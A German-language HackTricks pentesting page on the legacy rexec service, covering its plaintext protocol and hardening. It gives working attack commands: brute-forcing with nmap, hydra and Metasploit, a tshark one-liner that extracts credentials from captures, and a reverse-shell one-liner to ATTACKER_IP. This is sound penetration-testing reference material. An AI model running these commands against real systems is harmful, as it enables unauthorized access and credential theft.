512 - Pentesting Rexec
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Rexec (remote exec) ist einer der ursprünglichen Berkeley r-Dienste (neben rlogin
, rsh
, …). Es bietet eine Remote-Befehlsausführungs-Funktionalität, die nur mit einem Klartext-Benutzernamen und Passwort authentifiziert ist. Das Protokoll wurde Anfang der 1980er Jahre definiert (siehe RFC 1060) und wird heutzutage als von Grund auf unsicher angesehen. Dennoch ist es in einigen veralteten UNIX- / netzwerkgebundenen Geräten standardmäßig aktiviert und taucht gelegentlich während interner Pentests auf.
Standardport: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Der gesamte Datenverkehr – einschließlich Anmeldeinformationen – wird unverschlüsselt übertragen. Jeder, der in der Lage ist, das Netzwerk abzuhören, kann den Benutzernamen, das Passwort und den Befehl wiederherstellen.
Protokollübersicht
- Der Client verbindet sich mit TCP 512.
- Der Client sendet drei NUL-terminierte Zeichenfolgen:
- die Portnummer (als ASCII), an die er stdout/stderr empfangen möchte (oft
0
), - den Benutzernamen,
- das Passwort.
- Eine letzte NUL-terminierte Zeichenfolge mit dem Befehl, der ausgeführt werden soll, wird gesendet.
- Der Server antwortet mit einem einzelnen 8-Bit-Statusbyte (0 = Erfolg,
1
= Fehler), gefolgt von der Befehlsausgabe.
Das bedeutet, dass Sie den Austausch mit nichts anderem als echo -e
und nc
reproduzieren können:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Wenn die Anmeldeinformationen gültig sind, erhalten Sie die Ausgabe von id
direkt über dieselbe Verbindung.
Manuelle Verwendung mit dem Client
Viele Linux-Distributionen liefern immer noch den Legacy-Client im inetutils-rexec / rsh-client-Paket aus:
rexec -l user -p password <target> "uname -a"
Wenn -p
weggelassen wird, fordert der Client interaktiv das Passwort an (sichtbar im Netzwerk im Klartext!).
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Das rexec-brute
NSE verwendet das oben beschriebene Protokoll, um Anmeldeinformationen sehr schnell auszuprobieren.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
hat ein dediziertes rexec-Modul und bleibt der schnellste Offline-Bruteforcer. medusa
(-M REXEC
) und ncrack
(rexec
-Modul) können auf die gleiche Weise verwendet werden.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Das Modul wird bei Erfolg eine Shell erzeugen und die Anmeldeinformationen in der Datenbank speichern.
Sniffing von Anmeldeinformationen
Da alles im Klartext vorliegt, sind Netzwerkaufzeichnungen unbezahlbar. Mit einer Kopie des Traffics können Sie Anmeldeinformationen extrahieren, ohne das Ziel zu berühren:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark Decode As … TCP 512 → REXEC aktivieren, um schön geparste Felder anzuzeigen.)
Tipps zur Nachnutzung
- Befehle werden mit den Rechten des angegebenen Benutzers ausgeführt. Wenn
/etc/pam.d/rexec
falsch konfiguriert ist (z. B.pam_rootok
), sind Root-Shells manchmal möglich. - Rexec ignoriert die Shell des Benutzers und führt den Befehl über
/bin/sh -c <cmd>
aus. Sie können daher typische Shell-Escape-Tricks (;
,$( )
, Backticks) verwenden, um mehrere Befehle zu verketten oder Reverse-Shells zu starten:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Passwörter werden oft in ~/.netrc auf anderen Systemen gespeichert; wenn Sie einen Host kompromittieren, können Sie diese für laterale Bewegungen wiederverwenden.
Härtung / Erkennung
- Setzen Sie rexec nicht aus; ersetzen Sie es durch SSH. Praktisch alle modernen inetd Superserver kommentieren den Dienst standardmäßig aus.
- Wenn Sie es behalten müssen, beschränken Sie den Zugriff mit TCP-Wrappers (
/etc/hosts.allow
) oder Firewall-Regeln und erzwingen Sie starke passworts pro Konto. - Überwachen Sie den Verkehr zu :512 und die Starts des
rexecd
Prozesses. Eine einzige Paketaufnahme reicht aus, um eine Kompromittierung zu erkennen. - Deaktivieren Sie
rexec
,rlogin
,rsh
zusammen – sie teilen sich den größten Teil des gleichen Codes und Schwächen.
Referenzen
- Nmap NSE
rexec-brute
Dokumentation – https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit Modul
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.